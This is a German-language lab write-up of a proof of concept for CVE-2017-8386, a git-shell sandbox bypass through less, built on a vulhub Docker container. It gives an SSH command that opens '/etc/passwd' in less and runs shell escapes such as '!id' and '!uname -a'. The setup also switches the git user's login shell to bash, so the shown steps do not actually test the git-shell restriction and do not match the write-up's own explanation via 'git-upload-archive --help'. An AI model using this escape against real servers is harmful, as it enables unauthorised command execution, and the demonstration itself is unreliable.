
PoC für die Sandbox-Bypass-Schwachstelle CVE-2017-8386 in Git-Shell.
정수진(@suz1n)
Git-shell bietet eine Umgebung, die über SSH nur eingeschränkte Git-Befehle zulässt. In bestimmten Versionen von git-shell (wie 2.12.2) gibt es jedoch eine Schwachstelle (CVE-2017-8386), die es ermöglicht, den Sandbox zu umgehen und Systembefehle auszuführen, indem der less-Befehl missbraucht wird.
Dieser Bericht dokumentiert den PoC für diese Schwachstelle und fasst den Ablauf zusammen.
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Base-Image Ubuntu 16.04
• Installation von Git 2.12.2 aus dem Quellcode
• Installation und Ausführung des OpenSSH-Servers
• Konfiguration der git-shell-Umgebung (Erstellen des Benutzers git)
docker-compose build
docker-compose up -d
docker ps
• Container-Ausführung bestätigt (git-shell-cve-2017-8386)

1. Erstellen und Kopieren von id_rsa.pub auf dem lokalen System
2. Zugriff auf den Container und Wechsel zum Benutzer git
3. Eintrag in authorized_keys
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• Installation der Pakete less und man für den PoC abgeschlossen
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• Erfolgreicher Eintritt in die less-Oberfläche • Systembefehle können über den !-Befehl ausgeführt werden
• !id -> Ausgabe von Benutzer-ID und Gruppen-ID
• !whoami -> aktueller Benutzer (git)
• !uname -a -> Ausgabe von System-Kernel-Informationen
• !ls /home/git -> Ausgabe der Dateiliste des git-Home-Verzeichnisses
• In der git-shell-Umgebung ist es Benutzern nicht erlaubt, Systembefehle auszuführen.
• Allerdings kann durch den Befehl `git-upload-archive --help` intern less aufgerufen werden.
• Der less-Befehl unterstützt die Ausführung von Shell-Befehlen über die !-Funktion.
• Folglich ist es möglich, die git-shell-Sandbox zu umgehen und beliebige Befehle auszuführen.
• Insinuator Blog: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/ • Vulhub GitHub Repository: https://github.com/phith0n/vulhub